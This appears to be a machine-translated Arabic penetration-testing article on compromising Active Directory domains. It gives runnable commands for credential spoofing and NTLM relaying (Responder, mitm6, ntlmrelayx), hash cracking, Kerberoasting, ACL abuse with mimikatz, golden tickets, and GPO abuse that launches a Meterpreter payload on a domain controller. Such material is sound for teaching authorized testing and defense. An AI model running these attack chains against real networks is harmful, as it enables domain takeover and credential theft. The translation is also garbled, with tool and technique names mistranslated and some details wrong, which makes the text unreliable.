
عند إجراء اختبار الاختراق ، غالبًا ما نكتشف الأخطاء في تكوين المجال. على الرغم من أن هذا لا يبدو بالغ الأهمية بالنسبة للكثيرين ، في الواقع ، فإن مثل هذه الأخطاء قد تتسبب في تعرض المجال بأكمله للخطر.
على سبيل المثال ، وفقًا لنتائج pentest في شركة واحدة ، توصلنا إلى استنتاج مفاده أن جميع الأجهزة المتاحة في المجال لم تكن أقل من Windows10 / Windows Server2016 ، وكان لديهم جميع أحدث التصحيحات عليها. تم فحص الشبكة بانتظام ، وكانت الآلات صعبة. جلس جميع المستخدمين خلال الرموز ولم يعرفوا "كلمات المرور المكونة من 20 حرفًا". يبدو أن كل شيء على ما يرام ، ولكن لم يتم تعطيل IPv6. يشبه نظام التقاط المجال هذا:
mitm6 -> ntlmrelay -> الهجوم من خلال التفويض -> تم استلام تجزئة كلمة مرور المسؤول المحلي -> تم استلام تجزئة كلمة مرور مسؤول المجال.
لسوء الحظ ، لا تعلم الشهادات الشائعة مثل OSCP أو GPEN أو CEH اختبار اختراق Active Directory.
في هذه المقالة ، سوف نلقي نظرة على عدة أنواع من هجمات Active Directory التي قمنا بها كجزء من pentests ، وكذلك الأدوات المستخدمة. لا يمكن اعتبار هذا بأي حال من الأحوال دليلاً كاملاً لجميع أنواع الهجمات والأدوات ، فهناك الكثير منها بالفعل ، ومن الصعب دمجها في مقال واحد.
لذلك ، من أجل العرض التوضيحي ، نستخدم كمبيوتر محمول على Kali Linux 2019 والمضيفين الظاهريين المرتبطين به على VMware. تخيل أن الهدف الرئيسي من pentest هو الحصول على حقوق مسؤول المجال ، وكمدخل لدينا إمكانية الوصول إلى شبكة الشركة للشركة عبر إيثرنت. لبدء اختبار النطاق ، نحتاج إلى حساب.
الحصول على حساب
النظر في الطريقتين الأكثر شيوعًا ، في رأيي ، للحصول على تسجيل الدخول إلى حساب المجال وكلمة المرور: خداع LLMNR / NBNS والهجوم على بروتوكول IPv6.
LLMNR / NBNS خداع
لقد قيل الكثير عن هذا الهجوم. خلاصة القول هي أن العميل يرسل LLMNR الإرسال المتعدد والبث NBT-NS استعلامات لحل أسماء المضيف إذا كان هذا غير ممكن عبر DNS. يمكن لأي مستخدم شبكة الاتصال الرد على هذه الطلبات.
الأدوات التي تسمح بالهجوم:
- الرد
- Inveight
- وحدات Metasploit: المساعدة / محاكاة ساخرة / llmnr / llmnr_response ، مساعدة / محاكاة ساخرة / nbns / nbns_response ،
مساعد / خادم / التقاط / SMB ، مساعد / خادم / القبض / http_ntlm
مع الهجوم الناجح ، يمكننا الحصول على تجزئة NetNTLM لكلمة مرور المستخدم.
Responder -I eth0 -wrf

التجزئة الناتجة ، يمكننا تصحيح أو تنفيذ مرحلات NTLM.
هجوم IPv6
إذا تم استخدام IPv6 في شبكة الشركة ، يمكننا الاستجابة لطلبات DHCPv6 وتعيين عنوان IP الخاص بنا كخادم DNS على الجهاز الذي تمت مهاجمته. نظرًا لأن IPv6 لها الأسبقية على IPv4 ، سيتم إرسال استفسارات DNS الخاصة بالعميل إلى عنواننا. اقرأ المزيد عن الهجوم
هنا .
الأدوات:
تشغيل الأداة المساعدة mitm6
mitm6 -i vmnet0
بعد اكتمال الهجوم ، سيظهر خادم DNS جديد بعنوان IPv6 على محطة العمل التي تمت مهاجمتها.

ستحاول الأجهزة التي تمت مهاجمتها المصادقة باستخدام الجهاز. بعد رفع خادم SMB باستخدام الأداة المساعدة
smbserver.py ، يمكننا الحصول على تجزئة كلمة مرور المستخدم.
smbserver.py -smb2support SMB /root/SMB

القبض على إجراءات التجزئة
والخطوة التالية هي إما تنفيذ هجوم تشفير على تجزئة كلمة المرور والحصول على كلمة المرور بنص واضح ، أو إجراء ترحيل NTLM.
كلمة القوة الغاشمة
الأمر بسيط: خذ كلمة مرور ، hashcat
hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt
وحشية. يمكن الحصول على كلمة المرور أم لا :)
تم استرداد كلمة مرور مستخدم هارفي - Pbvf2019ترحيل NTLM
يمكننا أيضا تنفيذ مرحلات NTLM. بعد التأكد من عدم استخدام
SMB Signing ، نستخدم الأداة المساعدة
ntlmrelayx.py ونشن هجومًا. هنا مرة أخرى ، اعتمادًا على الهدف ، نختار المتجه الذي نحتاجه. دعونا نفكر في بعضهم.
الوصول إلى الجهاز الذي تم مهاجمته عبر بروتوكول SMB
تنفيذ هجوم باستخدام المفتاح
i .
ntlmrelayx.py -t 192.168.1.5 -l loot -i

من خلال هجوم ناجح ، يمكننا الاتصال بالجهاز البعيد باستخدام netcat.

جمع معلومات المجال
في هذه الحالة ، نقوم بإجراء الترحيل إلى وحدة تحكم المجال.
ntlmrelayx.py -t ldap://192.168.1.2
إذا نجح الهجوم ، فسنحصل على معلومات مفصلة حول المجال:

إضافة كمبيوتر جديد إلى المجال
لكل مستخدم بشكل افتراضي القدرة على إنشاء ما يصل إلى 10 أجهزة كمبيوتر في المجال. لإنشاء كمبيوتر ، تحتاج إلى تشغيل ترحيل على وحدة تحكم مجال باستخدام بروتوكول ldaps. يحظر إنشاء مستخدمين وأجهزة كمبيوتر عبر اتصال ldap غير مشفر. أيضًا ، لا يمكن إنشاء حساب إذا تم اعتراض الاتصال عبر SMB.
ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer

كما ترون في الشكل ، تمكنا من إنشاء جهاز كمبيوتر RORYOTGS $.
عند إنشاء أكثر من 10 أجهزة كمبيوتر ، حصلنا على خطأ في النموذج التالي:

باستخدام بيانات اعتماد كمبيوتر RORYOTGS $ ، يمكننا تنفيذ طلبات مشروعة إلى وحدة تحكم مجال.
جمع معلومات المجال
لذلك ، لدينا حساب مستخدم أو كمبيوتر. لمتابعة الاختبار ، نحتاج إلى جمع المعلومات المتاحة للتخطيط لمزيد من الهجوم. فكر في بعض الأدوات التي ستساعدنا في تحديد البحث عن أكثر الأنظمة أهمية وتخطيط وتنفيذ الهجوم.
الكلب البوليسي
واحدة من أهم الأدوات المستخدمة في اختبار الاختراق الداخلي تقريبًا. يتطور المشروع بنشاط ويكمله ميزات جديدة.
المعلومات التي تم جمعها عن طريق سفك الدماء- Group - يؤدي مجموعة عضوية المجموعة
- LocalAdmin - يؤدي جمع المسؤول المحلي
- RDP - يؤدي مجموعة مستخدمي سطح المكتب البعيد
- DCOM - ينفذ مجموعة مستخدمي COM الموزع
- GPOLocalGroup - يؤدي جمع المسؤول المحلي باستخدام كائنات نهج المجموعة
- جلسة - يؤدي جمع الدورة
- ؛ ComputerOnly - يؤدي المسؤول المحلي ، RDP ، DCOM وجمع الجلسة
- LoggedOn - يؤدي مجموعة جلسة متميزة (يتطلب حقوق المسؤول على الأنظمة المستهدفة)
- Trusts - يؤدي تعداد ثقة المجال
- ACL - يؤدي مجموعة من ACLs
- حاوية - يؤدي جمع الحاويات.
- DcOnly - ينفذ المجموعة باستخدام LDAP فقط. يتضمن Group ، Trusts ، ACL ، ObjectProps ، Container ، و GPOLocalGroup
- الكل - ينفذ جميع أساليب التجميع باستثناء GPOLocalGroup و LoggedOn
- Search Forest - ابحث في جميع المجالات في الغابة بدلاً من النطاق الحالي فقط
- المجال - البحث في مجال معين. يستخدم نطاقك الحالي إذا كان فارغًا (افتراضي: باطل)
- Stealth - يؤدي أساليب جمع الشبح. جميع خيارات الشبح مترابطة واحدة
- SkipGCDeconfliction - تخطي إلغاء النشرة المصورة العمومية أثناء تعداد الجلسة. يمكن أن يؤدي ذلك إلى تسريع عملية التعداد ، ولكنه سينتج عنه عدم دقة في البيانات
- ExcludeDc - يستبعد وحدات التحكم بالمجال من التعداد (يتجنب إشارات Microsoft ATA)
- ComputerFile - حدد ملفًا لتحميل أسماء / عناوين IP للكمبيوتر
- OU - حدد أي OU لتعداد
جامعو المعلومات هم
SharpHound.exe (يتطلب تثبيت .NET v3.5) والبرنامج النصي
SharpHound.ps1 المكتوب في بوويرشيل. وهناك أيضًا مترجم كتبه مطور بيثون تابع لجهة خارجية ،
Bloodhound-python .
كقاعدة بيانات ،
يتم استخدام
Neo4j ، الذي يحتوي على بناء جملة خاص به ، والذي يسمح لك بإجراء استعلامات مخصصة. يمكنك قراءة المزيد حول بناء الجملة
هنا .
من خارج المربع 12 طلبات متاحة- البحث عن جميع المسؤولين المجال
- البحث عن أقصر الطرق إلى إدارة المجال
- العثور على مديري الحقوق مع DCSync
- المستخدمين مع عضوية مجموعة المجال الخارجية
- المجموعات ذات عضوية مجموعة المجال الخارجية
- يثق مجال الخريطة
- أقصر الطرق لنظم التفويض غير المقيدة
- أقصر الطرق من Kerberoastable Users
- أقصر الطرق إلى إدارة المجال من مستخدمي Kerberoastable
- أقصر طريق من مديري المدارس
- أقصر الطرق إلى إدارة المجال من مديري المدارس المملوكة
- أقصر الطرق لأهداف ذات قيمة عالية
يوفر المطورون أيضًا البرنامج النصي
DBCreator.py ، والذي يسمح لك بإنشاء قاعدة بيانات عشوائية للاختبار.

Neo4j لديه REST API. هناك العديد من الأدوات المساعدة التي يمكنها الاتصال بقاعدة البيانات واستخدام البيانات المستلمة:
دعونا نفكر في بعضهم.
CypherDog
CypherDog هي قذيفة BloodHound مكتوبة في بوويرشيل. يشمل 27 cmdlets.
بشكل افتراضي ، مطلوب المصادقة للوصول إلى قاعدة بيانات neo4j. يمكنك تعطيل المصادقة عن طريق تحرير ملف neo4j.conf. يجب إلغاء
فك السطر
dbms.security.auth_enabled = false. لكن هذا غير مستحسن ، حيث يمكن لأي مستخدم الاتصال بقاعدة البيانات على 127.0.0.1:7474 (التكوين الافتراضي). يمكنك قراءة المزيد حول المصادقة والترخيص في neo4j
هنا.GoFetch
يستخدم
GoFetch رسمًا بيانيًا تم إنشاؤه في
كلب الدم للتخطيط لهجوم وتنفيذه.
مثال الرسم البياني للدماء إطلاق الهجوم
.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json
GT-مولد
gt-generator ، باستخدام بيانات BloodHound ، يجعل من السهل إنشاء تذاكر ذهبية. لاستلام تذكرة ذهبية ، يلزم فقط اسم المستخدم وكلمة مرور المستخدم KRBTGT.
python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>

PowerView
PowerView هو إطار Powershell المضمّن في
PowerSploit . فيما يلي قائمة ببعض أوامر cmdlets التي يمكن أن تساعدك في جمع معلومات حول مجال.
Adidnsdump
عند استخدام DNS متكامل في Active Directory ، يمكن لأي مستخدم مجال الاستعلام عن جميع سجلات DNS الافتراضية.
الأداة المستخدمة:
Adidnsdump.
هجمات المجال
الآن بعد أن أصبح لدينا معلومات المجال ، ننتقل إلى المرحلة التالية من اختبار الاختراق - مباشرة إلى الهجوم. النظر في 4 ناقلات المحتملة:
- تحميص
- الهجوم عبر ACL
- وفد كيربيروس
- إساءة استخدام أذونات GPO
تحميص
يستهدف هذا النوع من الهجوم بروتوكول Kerberos. هناك نوعان من الهجمات مثل التحميص:
Kerberoast
تم عرض الهجوم لأول مرة بواسطة
timmedin المستخدم في DerbyCon في عام 2014 (
فيديو ). من خلال هجوم ناجح ، سنكون قادرين على فرز كلمة مرور الخدمة بالموجات فوق الصوتية في وضع عدم الاتصال ، دون خوف من حظر المستخدم. في كثير من الأحيان ، تتمتع حسابات الخدمة بحقوق مفرطة وكلمة مرور دائمة ، مما قد يسمح لنا بالحصول على حقوق مسؤول المجال.
لفهم جوهر الهجوم ، فكر في كيفية عمل Kerberos.

1. يتم تحويل كلمة المرور إلى تجزئة NTLM ، يتم تشفير الطابع الزمني مع علامة تجزئة وإرسالها إلى KDC كمصدق في طلب تذكرة TGT (AS-REQ). تتحكم وحدة تحكم المجال (KDC) في معلومات المستخدم وتقوم بإنشاء بطاقة TGT.
2. يتم تشفير بطاقة TGT وتوقيعها وإرسالها إلى المستخدم (AS-REP). يمكن فقط لخدمة Kerberos (KRBTGT) فتح البيانات وقراءتها من تذكرة TGT.
3. يقوم المستخدم بإرسال تذكرة TGT إلى وحدة تحكم المجال بناءً على طلب بطاقة TGS (TGS-REQ). وحدة تحكم المجال تفتح تذكرة TGT وتتحقق من المجموع الاختباري لـ PAC.
4. يتم تشفير تذكرة TGS مع تجزئة NTLM لكلمة مرور حساب الخدمة ويتم إرسالها إلى المستخدم (TGS-REP).
5. يوفر المستخدم بطاقة TGS إلى الكمبيوتر الذي تعمل عليه الخدمة (AP-REQ). تفتح الخدمة تذكرة TGS باستخدام تجزئة NTLM.
6. يتم توفير الوصول إلى الخدمة (AS-REP).
بعد تلقي تذكرة TGS (TGS-REP) ، يمكننا العثور على كلمة المرور لحساب الخدمة في وضع عدم الاتصال. على سبيل المثال ، باستخدام hashcat.
وفقًا لـ
RFC396 ، يتم حجز 20 نوعًا من التشفير لبروتوكول Kerberos. أنواع التشفير المستخدمة الآن ، حسب الأولوية:
- AES256_CTS_HMAC_SHA1
- AES128_CTS_HMAC_SHA1
- RC4_HMAC_MD5
في الإصدارات الأخيرة من Windows ، يتم استخدام تشفير AES افتراضيًا. ولكن للتوافق مع الأنظمة الموجودة أسفل خادم Windows Vista و Windows 2008 ، يلزم دعم خوارزمية RC4. عند إجراء الهجوم ، يتم إجراء محاولة دائمًا أولاً للحصول على تذكرة TGS بتشفير RC4_HMAC_MD5 ، مما يتيح كلمات مرور أسرع ثم الباقي. أجرت
Harmj0y دراسة شيقة ووجدت أنه إذا قمت بتحديد دعم تشفير Kerberos AES128 و AES256 فقط في خصائص المستخدم ، فلا تزال بطاقة Kerberos تصدر بتشفير RC4_HMAC_MD5.

يعد تعطيل RC4_HMAC_MD5 ضروريًا على مستوى
المجال.هجوم Kerberoasting له طريقتان.
1. الطريقة القديمة. يتم طلب تذاكر TGS من خلال setspn.exe أو .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken من فئة Powershell ، التي تم استردادها من الذاكرة باستخدام mimikatz ، ثم تحويلها إلى التنسيق المطلوب (John ، Hashcat) وفرزها.
2. الطريقة الجديدة. لاحظ
machosec أن فئة
KerberosRequestorSecurityToken تحتوي على طريقة
GetRequest ، والتي تستخرج الجزء المشفر بكلمة مرور من بطاقة TGS.
أدوات لشن هجوم:
1) البحث عن سجلات SPN
2) طلب تذكرة TGS
يمكنك عرض التذاكر المخزنة مؤقتًا الحالية باستخدام أمر klist.
سجلات SPN المشتركة- TERMSRV - سطح المكتب البعيد
- SmtpSVC و SMTP - البريد
- WSMAN - WinRM
- ExchangeAB ، ExchangeRFR ، ExchangeMDM - MS صرف
- POP / POP3 - خدمة بريد POP3
- IMAP / IMAP4 - خدمة IMAP للبريد الإلكتروني
- MSSQLSvc - Microsoft SQL Server
- MONGO - MongoDB خادم قاعدة البيانات
- DNS - خادم DNS
- HTTP ، WWW - خادم الويب
- LDAP - LDAP
- FTP - خادم FTP
3) تصدير التذاكر:
مثال على التنفيذ الآلي لجميع النقاط الثلاث:
- RiskySPN
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
- PowerSploit
Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
- GetUserSPNs.py
GetUserSPNs.py -request jet.lab\user:Password
Asreproast
مشكلة عدم الحصانة التي تم تعطيل المصادقة المسبقة Kerberos. في هذه الحالة ، يمكننا إرسال طلبات AS-REQ إلى مستخدم لديه مصادقة Kerberos المسبقة معطلة ، والحصول على الجزء المشفر بكلمة مرور.

مشكلة عدم الحصانة نادرة ، لأن تعطيل المصادقة المسبقة ليس الإعداد الافتراضي.
البحث عن المستخدمين مع مصادقة Kerberos معطل:
- PowerView
Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
- وحدة الدليل النشط
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
الحصول على الجزء المشفر:
الهجوم عبر ACL
ACL في سياق المجال هي مجموعة من القواعد التي تحدد حقوق الوصول للكائنات في م. يمكن تكوين ACL لكائن واحد (على سبيل المثال ، حساب مستخدم) أو لوحدة تنظيمية ، على سبيل المثال ، OU. عندما تقوم بتكوين قائمة التحكم بالوصول (ACL) على الوحدة التنظيمية (OU) ، فإن كل الكائنات الموجودة داخل الوحدة التنظيمية سوف ترث ACL. تحتوي قوائم التحكم في الوصول (ACL) على إدخالات التحكم في الوصول (ACE) التي تحدد كيفية تفاعل SID مع كائن Active Directory.
على سبيل المثال ، لدينا ثلاث مجموعات: أ ، ب ، ج ، حيث المجموعة ج هي عضو في المجموعة ب والمجموعة ب هي عضو في المجموعة أ. عند إضافة ضيف إلى المجموعة ج ، لن يكون الضيف عضوًا في المجموعة ج فقط ، ولكن أيضًا عضو غير مباشر في المجموعتين B و A. عند إضافة الوصول إلى كائن مجال إلى المجموعة A ، سيكون للمستخدم الضيف أيضًا حق الوصول إلى هذا الكائن. في الحالة التي يكون فيها المستخدم عضوًا مباشرًا في مجموعة واحدة فقط ، وهذه المجموعة هي عضو غير مباشر في المجموعات الخمسين الأخرى ، فمن السهل فقدان اتصال الأذونات الموروثة.
يمكنك استرداد قوائم ACL المرتبطة بالكائن عن طريق تشغيل الأمر التالي
Get-ObjectACL -Samaccountname Guest -ResolveGUIDs
يمكنك استخدام الأداة لاستغلال الأخطاء في تكوين ACL.
استدعاء - ACLPwn . يجمع البرنامج النصي Powershell معلومات حول جميع قوائم ACL في المجال باستخدام أداة تجميع مجمّع BloodHound و SharpHound ويقوم بإنشاء سلسلة للحصول على إذن writeDACL. بعد بناء السلسلة ، يعمل البرنامج النصي في كل خطوة في السلسلة. ترتيب البرنامج النصي:
- تتم إضافة المستخدم إلى المجموعات الضرورية.
- تتم إضافة جهازي ACEs (Replicating Directory Changes و Replicating Directory Changes ALL) إلى ACLs لكائن المجال.
- إذا كان لديك حقوق في DCSync باستخدام الأداة المساعدة Mimikatz ، فسيتم طلب تجزئة كلمة مرور المستخدم krbtgt (الإعداد الافتراضي).
- بعد اكتمال العملية ، يحذف البرنامج النصي جميع المجموعات المضافة وإدخالات ACE في قائمة التحكم في الوصول.
يهدف البرنامج النصي فقط إلى استخدام أذونات writeDACL. قد تكون حقوق الوصول التالية أيضًا ذات أهمية للمهاجمين:
- ForceChangePassword. حقوق لتغيير كلمة مرور المستخدم عندما تكون كلمة المرور الحالية غير معروفة. العملية باستخدام PowerSploit - Set-DomainUserPassword.
- AddMembers. حقوق إضافة مجموعات وأجهزة كمبيوتر ومستخدمين إلى مجموعات. العملية مع PowerSploit - Add-DomainGroupMember.
- GenericWrite. حقوق لتغيير سمات كائن. على سبيل المثال ، قم بتغيير قيمة المعلمة scriptPath. في المرة التالية التي يسجل فيها المستخدم الدخول إلى النظام ، يبدأ الملف المحدد. العملية باستخدام PowerSploit - Set-DomainObject.
- WriteOwner. حقوق لتغيير صاحب الكائن. العملية باستخدام PowerSploit - Set-DomainObjectOwner.
- AllExtendedRights. حقوق إضافة مستخدمين إلى مجموعات ، وتغيير كلمات مرور المستخدم ، إلخ. التشغيل باستخدام PowerSploit - Set-DomainUserPassword أو Add-DomainGroupMember.
العملية:
بدءا من جهاز في مجال
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
بدءا من جهاز ليس في مجال
/Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass'
وفد كيربيروس
يسمح لك تفويض تفويض Kerberos بإعادة استخدام بيانات اعتماد المستخدم النهائي للوصول إلى الموارد المستضافة على خادم آخر.
يمكن أن يكون تفويض Kerberos من ثلاثة أنواع:
- غير محدود (وفد غير مقيد). خيار التفويض الوحيد قبل Windows Server 2003
- تفويض مقيد منذ Windows Server 2003
- تفويض مقيد الموارد قدم في ويندوز سيرفر 2012
وفد غير محدود
في Active Directory الأداة الإضافية ، ميزة التفويض غير محدود ممكّن كما يلي:

من أجل الوضوح ، ضع في اعتبارك كيف يحدث تفويض غير محدود في رسم تخطيطي.

- يتم تحويل كلمة مرور المستخدم إلى تجزئة ntlm. يتم تشفير الطابع الزمني مع هذا التجزئة وإرسالها إلى وحدة تحكم المجال لطلب تذكرة TGT.
- تقوم وحدة التحكم بالمجال بفحص المعلومات المتعلقة بالمستخدم (تقييد تسجيل الدخول ، والعضوية في مجموعات ، وما إلى ذلك) ، وإنشاء بطاقة TGT وإرسالها إلى المستخدم. يتم تشفير بطاقة TGT وتوقيعها ويمكن فقط لـ krbtgt قراءة بياناتها.
- يطلب المستخدم بطاقة TGS للوصول إلى خدمة الويب على خادم الويب.
- توفر وحدة التحكم بالمجال بطاقة TGS.
- يرسل المستخدم تذاكر TGT و TGS إلى خادم الويب.
- يستخدم حساب خدمة خادم الويب تذكرة TGT للمستخدم لطلب تذكرة TGS للوصول إلى خادم قاعدة البيانات.
- يتصل حساب الخدمة بخادم قاعدة البيانات كمستخدم.
يتمثل الخطر الرئيسي للتفويض غير المحدود في أنه عندما يتم اختراق جهاز ذي تفويض غير محدود ، سيتمكن المهاجم من الحصول على تذاكر TGT للمستخدمين من هذا الجهاز والوصول إلى أي نظام في المجال نيابة عن هؤلاء المستخدمين.
البحث عن الآلات في مجال مع تفويض غير محدود:
تصدير التذاكر:

وفد محدود
يسمح لك وضع التفويض المحدود بالوصول إلى الخدمات المسموح بها فقط وعلى جهاز معين. في الأداة الإضافية Active Directory ، يبدو كما يلي:

مع تفويض محدود ، يتم استخدام امتدادات بروتوكول Kerberos:
يتم استخدام
S4U2Self عندما لا يقوم العميل بالمصادقة باستخدام بروتوكول Kerberos.
بالنسبة للتفويض غير المحدود ، يتم استخدام TGT لتحديد المستخدم ، وفي هذه الحالة يستخدم ملحق S4U بنية
PA-FOR-USER كنوع جديد في حقل بيانات padata / pre-Authentication. لا يُسمح بالعملية S4U2self إلا إذا كان لدى المستخدم الطالب حقل TRUSTED_TO_AUTH_FOR_DELEGATION الذي تم تعيينه في userAccountControl.

يسمح
S4U2Proxy لحساب الخدمة باستخدام تذكرة إعادة التوجيه المستلمة في عملية S4U2proxy لطلب تذكرة TGS للوصول إلى الخدمات المسموح بها (msds-allowtodelegateto). يتحقق KDC مما إذا كانت الخدمة المطلوبة محددة في حقل msds-allowtodelegateto للمستخدم الطالب ، ويصدر تذكرة في حالة نجاح الفحص. وبالتالي ، فإن التفويض "مقصور" على الخدمات المستهدفة المحددة.
يمكنك البحث عن أجهزة الكمبيوتر والمستخدمين في نطاق تفويض محدود باستخدام PowerView .البحث عن أجهزة الكمبيوتر مع تفويض غير محدود Get-DomainComputer -TrustedtoAuth
البحث عن مستخدمي التفويض المحدود Get-DomainUser -TrustedtoAuth
للقيام بهجوم ، نحتاج إلى كلمة مرور واضحة ، أو كلمة مرور NTLM ، أو تذكرة TGT.
الموارد المحدودة على أساس التفويض
كما هو الحال مع التفويض العادي ، يتم استخدام ملحقات S4U. نظرًا لأن التفويض المستند إلى الموارد محدود التفويض بشكل أساسي ، تتوفر أيضًا الهجمات ذات الصلة بالتفويض المحدود العادي. الاختلاف الوحيد هو أنه في التفويض المحدود البسيط ، يجب أن يكون للخدمة A. السمة msDS-AllowToDelegateTo = ServiceB ، وهنا يجب أن يكون للخدمة B السمة msDS-AllowToActOnBehalfOfOtherIdentity = Service A.
هذه الخاصية تسمح لهجوم آخر تم نشره بواسطة harmj0y. يتطلب الهجوم أذونات لتعديل المعلمة PrincipalsAllowedToDelegateToAccount ، التي تحدد سمة msds-AllowToActOnBehalfOfOtherIdentity التي تحتوي على قائمة التحكم في الوصول (ACL). على عكس التفويض المحدود ، لا نحتاج إلى حقوق مسؤول المجال لتغيير سمة msds-AllowToActOnBehalfOfOtherIdentity. يمكنك معرفة من لديه إذن لتحرير السمة كما يلي: (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview
لذلك ، لتنفيذ الهجوم ، وتنفيذ mitm6 mitm6 -I vmnet0
نبدأ ntlmrelayx مع خيار - تفويض الوصول ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access
نتيجة للهجوم ، يتم إنشاء جهاز كمبيوتر ZGXTPVYX $ مع حقوق التفويض إلى كمبيوتر Windows7. $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
تم تقديم تقرير وفد جيد في PHDays بواسطة ايجور بودموكوف.
إساءة استخدام أذونات GPO
كائنات نهج المجموعة هي أداة تتيح للمسؤولين إدارة مجال بكفاءة. لكن يحدث أن يتم تعيين حقوق غير ضرورية للمستخدمين ، بما في ذلك تغيير سياسات كائن نهج المجموعة.لتوضيح المثال ، سنضيف للمستخدم Ragnar حقوق تعديل سياسة التحكم في المجال الافتراضية (في الحياة الحقيقية ، تُمنح حقوق هذه السياسة فقط لمسؤولي المجال ، لكن جوهر الهجوم لا يتغير ؛ في حالة سياسة أخرى ، يتغير المضيفون الخاضعون للرقابة فقط).
عدّد الحقوق إلى جميع كائنات نهج المجموعة في المجال باستخدام PowerView . Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
المستخدم Ragnar له الحق في تغيير GPO وجود GUID من 6AC1786C-016F-11D2-945F-00C04FB984F9. لتحديد المضيفين في المجال الذين يطبقون هذه السياسة ، قم بتشغيل الأمر التالي Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
حصلت على المضيف dc1.jet.lab.مع العلم بالسياسة المحددة التي يمكن لمستخدم Ragnar تحريرها والمضيفات التي تنطبق عليها هذه السياسة ، يمكننا تنفيذ العديد من الإجراءات على مضيف dc1.jet.lab.فيما يلي الخيارات لاستخدام GPO أدوات نيو-GPOImmediateTask و SharpGPOAbuse تسمح:- تشغيل المهمة في جدولة المهام
- إضافة حقوق المستخدم (SeDebugPrivilege ، SeTakeOwnershipPrivilege ، وما إلى ذلك)
- إضافة برنامج نصي يعمل بعد بدء التشغيل
- إضافة مستخدم إلى المجموعة المحلية
على سبيل المثال ، أضف مهمة في برنامج جدولة المهام للحصول على جلسة Meterpreter: New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force
بعد التنفيذ ، تظهر المهمة المجدولة في الاختبار
وتظهر جلسة Meterpreter.
لحذف مهمة مجدولة ، تحتاج إلى تشغيل الأمر التالي: New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
النتائج
في المقالة درسنا فقط بعض نواقل الهجوم. يمكن لطرق العرض مثل حسابات التعداد ورذاذ كلمة المرور ، MS14-068 ، ومجموعة من علة الطابعة وتفويض غير المقيد ، والهجمات على Exchange ( المسطرة ، PrivExchange ، ExchangeRelayX ) توسيع نطاق الهجوم بشكل كبير.تتغير أساليب الهجوم وطرق التثبيت (التذكرة الذهبية ، التذكرة الفضية ، التمرير ، التجاوز ، تجزئة SID ، DC Shadow ، إلخ) باستمرار ، ويجب أن يكون فريق الدفاع جاهزًا دائمًا لأنواع جديدة من الهجمات.